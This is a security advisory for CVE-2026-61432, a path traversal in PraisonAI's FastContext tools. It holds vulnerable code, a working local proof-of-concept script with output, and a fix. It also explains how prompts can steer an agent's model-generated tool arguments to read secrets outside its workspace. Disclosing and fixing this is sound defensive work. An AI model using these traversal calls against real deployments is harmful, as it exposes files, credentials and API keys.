---
id: CVE-2026-61432
aliases:
  - GHSA-4xxv-6wmf-xf45
title: >-
  PraisonAI: FastContext path resolution permits absolute and traversal reads
  outside the workspace
summary: >-
  PraisonAI: FastContext path resolution permits absolute and traversal reads
  outside the workspace
severity: medium
cvss: 5.7
cwe:
  - CWE-22
  - CWE-200
vendor: praisonaiagents
product: praisonaiagents
ecosystem: pip
affected:
  - praisonaiagents <= 1.6.77
patched:
  - praisonaiagents 1.6.78
published: '2026-10-08'
updated: '2026-10-08'
sourceUpdated: '2026-10-08T16:48:53Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-4xxv-6wmf-xf45'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4xxv-6wmf-xf45
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-61432'
  - url: >-
      https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0
  - url: >-
      https://www.vulncheck.com/advisories/praisonai-fastcontext-before-path-traversal
  - url: 'https://github.com/advisories/GHSA-4xxv-6wmf-xf45'
tags:
  - ghsa
  - pip
epss: 0.00407
epssPercentile: 0.32822
ingestedAt: '2026-10-08T16:52:14.776Z'
---

## Overview

# FastContext path resolution permits absolute and traversal reads outside the workspace

## Summary

PraisonAI's `praisonaiagents.context.fast` FastContext feature treats `workspace_path` as the root directory for code search, but its model-facing search tools and high-level `read_context()` helper accept absolute paths and `..` traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context.

## Technical Details

`FastContextAgent` documents `workspace_path` as the "Root directory for searches" and stores it as an absolute path:

```python
class FastContextAgent:
    """Specialized agent for fast parallel code search.

    Attributes:
        workspace_path: Root directory for searches
    """

    def __init__(self, workspace_path: str, ...):
        self.workspace_path = os.path.abspath(workspace_path)
```

The same class exposes `grep_search`, `glob_search`, `read_file`, and `list_directory` as model function-call tools via `get_tools()`. Those tools are intended to retrieve code context from the configured workspace.

The problem is in `FastContextAgent.execute_tool()`. It prepends `workspace_path` only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:

```python
if tool_name in ("grep_search", "glob_search"):
    if "search_path" not in kwargs or kwargs["search_path"] == ".":
        kwargs["search_path"] = self.workspace_path
    elif not os.path.isabs(kwargs["search_path"]):
        kwargs["search_path"] = os.path.join(self.workspace_path, kwargs["search_path"])
elif tool_name == "list_directory":
    if "dir_path" not in kwargs or kwargs["dir_path"] == ".":
        kwargs["dir_path"] = self.workspace_path
    elif not os.path.isabs(kwargs["dir_path"]):
        kwargs["dir_path"] = os.path.join(self.workspace_path, kwargs["dir_path"])
elif tool_name == "read_file":
    if "filepath" in kwargs and not os.path.isabs(kwargs["filepath"]):
        kwargs["filepath"] = os.path.join(self.workspace_path, kwargs["filepath"])
```

As a result, an absolute path passes through unchanged, and a relative traversal such as `../outside-secret.txt` is transformed into `<workspace>/../outside-secret.txt`. The downstream search tools then call `os.path.abspath()` and operate on the resolved outside path.

The downstream tools do not enforce a FastContext workspace boundary:

```python
def grep_search(search_path: str, pattern: str, ...):
    search_path = os.path.abspath(search_path)
    ...
    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
        lines = f.readlines()
```

```python
def read_file(filepath: str, ...):
    filepath = os.path.abspath(filepath)
    ...
    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
        lines = f.readlines()
```

```python
def list_directory(dir_path: str, ...):
    dir_path = os.path.abspath(dir_path)
    ...
    for entry in os.scandir(path):
        ...
```

The model-backed `FastContextAgent.search()` path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a `ToolCallBatch`:

```python
response = model_client.chat.completions.create(
    model=self.model,
    messages=messages,
    tools=[{"type": "function", "function": t} for t in self.get_tools()],
    tool_choice="auto"
)
...
args = json.loads(tool_call.function.arguments)
batch.add(tool_call.function.name, **args)
...
tool_results = self.coordinator.execute_turn_sync(batch)
```

That path bypasses `execute_tool()`'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through `ParallelSearchCoordinator`.

The public high-level API has the same containment gap. `FastContext.read_context()` documents `filepath` as "relative to workspace", joins relative paths with `workspace_path`, and then calls `read_file()` without a resolved-path containment check:

```python
def read_context(self, filepath: str, ...):
    full_path = filepath
    if not os.path.isabs(filepath):
        full_path = os.path.join(self.workspace_path, filepath)

    result = read_file(full_path, ...)
```

This behavior is not required for intended FastContext code search. A normal search through `search_simple()` searches only `self.workspace_path`; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.

## PoV

The following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed `FastContextAgent.search()` path because it dispatches model-generated path arguments to the same raw search functions.

```python
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonaiagents.context.fast import FastContext
from praisonaiagents.context.fast.fast_context_agent import FastContextAgent

CANARY = "FAST_CONTEXT_CANARY=outside-workspace"

with TemporaryDirectory() as tmp:
    root = Path(tmp) / "workspace"
    root.mkdir()
    (root / "inside.txt").write_text("INSIDE_ONLY=workspace\n")
    outside = Path(tmp) / "outside-secret.txt"
    outside.write_text(CANARY + "\n")

    agent = FastContextAgent(str(root))

    assert len(agent.search_simple(CANARY).files) == 0
    assert "INSIDE_ONLY=workspace" in agent.execute_tool("read_file", filepath="inside.txt")["content"]

    assert CANARY in agent.execute_tool("read_file", filepath="../outside-secret.txt")["content"]
    assert CANARY in agent.execute_tool("read_file", filepath=str(outside))["content"]
    assert any(CANARY in match["content"] for match in agent.execute_tool("grep_search", search_path="..", pattern=CANARY))
    assert any(match["path"] == "outside-secret.txt" for match in agent.execute_tool("glob_search", search_path="..", pattern="*.txt"))
    assert any(entry["name"] == "outside-secret.txt" for entry in agent.execute_tool("list_directory", dir_path="..")["entries"])

    fc = FastContext(workspace_path=str(root), cache_enabled=False)
    assert CANARY in fc.read_context("../outside-secret.txt")
```

## PoC

Save the self-contained script from the Appendix below as `fastcontext_workspace_pov.py`, then run it against a local checkout:

```bash
export PRAISONAI=/path/to/PraisonAI
PYTHONPATH="$PRAISONAI/src/praisonai-agents" python fastcontext_workspace_pov.py
```

Expected vulnerable output:

```json
{
  "results": {
    "absolute_read_discloses_canary": true,
    "glob_parent_reveals_outside_file": true,
    "grep_parent_discloses_canary": true,
    "high_level_read_context_discloses_canary": true,
    "inside_read_still_works": true,
    "list_parent_reveals_outside_file": true,
    "relative_traversal_read_discloses_canary": true,
    "simple_search_does_not_find_outside_canary": true
  },
  "vulnerable": true
}
```

The version sweep sampled the FastContext introduction boundary and current releases:

```text
PraisonAI FastContext workspace-boundary version sweep
current_main: 1620b49f36945d8cc8ee5635b906c960df5097a0
latest_tag_context: v4.6.63-2-g1620b49f

v2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py
v2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py
{"ref": "v2.3.11", "praisonaiagents_version": "0.0.190", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v3.8.1", "praisonaiagents_version": "0.11.7", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v4.5.149", "praisonaiagents_version": "1.6.8", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v4.6.58", "praisonaiagents_version": "1.6.58", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v4.6.62", "praisonaiagents_version": "1.6.62", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "v4.6.63", "praisonaiagents_version": "1.6.63", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
{"ref": "HEAD", "praisonaiagents_version": "1.6.63", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true}
```

No external service, live target, or real credential is needed for reproduction.

## Impact

If an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. `grep_search` can search outside directories for secrets, `glob_search` and `list_directory` can enumerate outside file names and metadata, and `read_file`/`read_context` can return file contents.

The demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact.

Suggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is:

```text
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
```

Relevant CWEs:

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

## Suggested Fix

Make FastContext path resolution fail closed around a single workspace-containment helper:

1. Resolve the configured workspace once.
2. For every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require `candidate.relative_to(workspace)` to succeed.
3. Apply this helper in `FastContextAgent.execute_tool()` for `grep_search`, `glob_search`, `read_file`, and `list_directory`.
4. Apply the same helper before adding model-generated tool calls to `ToolCallBatch` in `FastContextAgent.search()`. Do not call the raw `search_tools` functions with model-supplied paths.
5. Apply the same helper in `FastContext.read_context()`.
6. Consider making `search_tools.execute_tool()` accept an optional `workspace_path` and enforce containment when used as a workspace-scoped tool dispatcher.
7. Add regression tests for absolute outside paths and `..` traversal in all four FastContext tools, high-level `read_context()`, and the model tool-call execution path.

Minimal containment shape:

```python
def _resolve_workspace_path(workspace: str, user_path: str) -> str:
    root = Path(workspace).resolve()
    candidate = Path(user_path)
    if not candidate.is_absolute():
        candidate = root / candidate
    resolved = candidate.resolve()
    try:
        resolved.relative_to(root)
    except ValueError as exc:
        raise PermissionError(f"FastContext path is outside workspace: {user_path}") from exc
    return str(resolved)
```

## Affected Package/Versions

- Package: `praisonaiagents`
- Component: `praisonaiagents.context.fast`
- Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0`
- Current package version in the tested source tree: `1.6.63`
- Sampled introduction boundary: absent in repo tags where `praisonaiagents` is `0.0.188` and `0.0.189`; present and vulnerable starting with sampled `0.0.190`
- Latest tested release tag: `v4.6.63`, `praisonaiagents` version `1.6.63`

Suggested affected range, based on the sampled source sweep:

```text
praisonaiagents >= 0.0.190, <= 1.6.63
```

The exact first released package version should be confirmed by maintainers from the `praisonaiagents.context.fast` release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled `praisonaiagents 0.0.190` point and still vulnerable on current main.

## Advisory History

No checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in `praisonaiagents.context.fast`.

Closest public comparators are related but distinct:

- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report covers `praisonaiagents.context.fast.FastContextAgent` and `FastContext` with an explicitly configured `workspace_path`; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global workspace.
- `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop.
- `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers FastContext's workspace root and file/search path tool arguments.
- `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools.
- `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152`: legacy `FileTools.list_files()` glob traversal. This report affects FastContext and can disclose file content through `read_file`/`grep_search`, not only metadata through FileTools glob patterns.
- `GHSA-693f-pf34-72c5`: FileTools path traversal. This report is in `praisonaiagents.context.fast`, not `praisonaiagents.tools.file_tools`.
- `GHSA-9cr9-25q5-8prj` and `GHSA-9mqq-jqxf-grvw`: MCP file/path traversal surfaces. This report does not use MCP.

Public issue/PR search found no hits for `FastContext arbitrary file read`, `"Fast Context" workspace boundary`, or `fast_context_agent` in `MervinPraison/PraisonAI`.

## References

- PraisonAI Fast Context docs: https://docs.praison.ai/docs/features/fast-context
- PraisonAI tools docs, Fast Context section: https://docs.praison.ai/docs/concepts/tools
- PraisonAI repository advisories: https://github.com/MervinPraison/PraisonAI/security/advisories
- `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25
- `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g
- `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c
- `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf
- `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-200: https://cwe.mitre.org/data/definitions/200.html

## Appendix: Self-Contained FastContext Workspace PoC

```python
#!/usr/bin/env python3
import json
from pathlib import Path
from tempfile import TemporaryDirectory

from praisonaiagents.context.fast import FastContext
from praisonaiagents.context.fast.fast_context_agent import FastContextAgent


CANARY = "FAST_CONTEXT_CANARY=outside-workspace"


def main() -> None:
    with TemporaryDirectory(prefix="fastcontext-workspace-pov-") as tmp:
        temp_root = Path(tmp)
        workspace = temp_root / "workspace"
        workspace.mkdir()
        inside = workspace / "inside.txt"
        outside = temp_root / "outside-secret.txt"

        inside.write_text("INSIDE_ONLY=workspace\n", encoding="utf-8")
        outside.write_text(CANARY + "\n", encoding="utf-8")

        agent = FastContextAgent(str(workspace), max_turns=2, max_parallel=4)
        simple_result = agent.search_simple(CANARY)
        inside_result = agent.execute_tool("read_file", filepath="inside.txt")
        relative_read = agent.execute_tool("read_file", filepath="../outside-secret.txt")
        absolute_read = agent.execute_tool("read_file", filepath=str(outside))
        grep_parent = agent.execute_tool("grep_search", search_path="..", pattern=CANARY, max_results=5)
        glob_parent = agent.execute_tool("glob_search", search_path="..", pattern="*.txt", max_results=5)
        list_parent = agent.execute_tool("list_directory", dir_path="..", max_entries=10)

        context = FastContext(workspace_path=str(workspace), cache_enabled=False)
        context_read = context.read_context("../outside-secret.txt")

        results = {
            "simple_search_does_not_find_outside_canary": len(simple_result.files) == 0,
            "inside_read_still_works": "INSIDE_ONLY=workspace" in inside_result.get("content", ""),
            "relative_traversal_read_discloses_canary": CANARY in relative_read.get("content", ""),
            "absolute_read_discloses_canary": CANARY in absolute_read.get("content", ""),
            "grep_parent_discloses_canary": any(CANARY in match.get("content", "") for match in grep_parent),
            "glob_parent_reveals_outside_file": any(match.get("path") == "outside-secret.txt" for match in glob_parent),
            "list_parent_reveals_outside_file": any(entry.get("name") == "outside-secret.txt" for entry in list_parent.get("entries", [])),
            "high_level_read_context_discloses_canary": CANARY in (context_read or ""),
        }

        print(json.dumps({"vulnerable": all(results.values()), "results": results}, indent=2, sort_keys=True))


if __name__ == "__main__":
    main()
```

## Affected packages

- `praisonaiagents <= 1.6.77`

## Remediation

Upgrade to a patched release:

- `praisonaiagents 1.6.78`
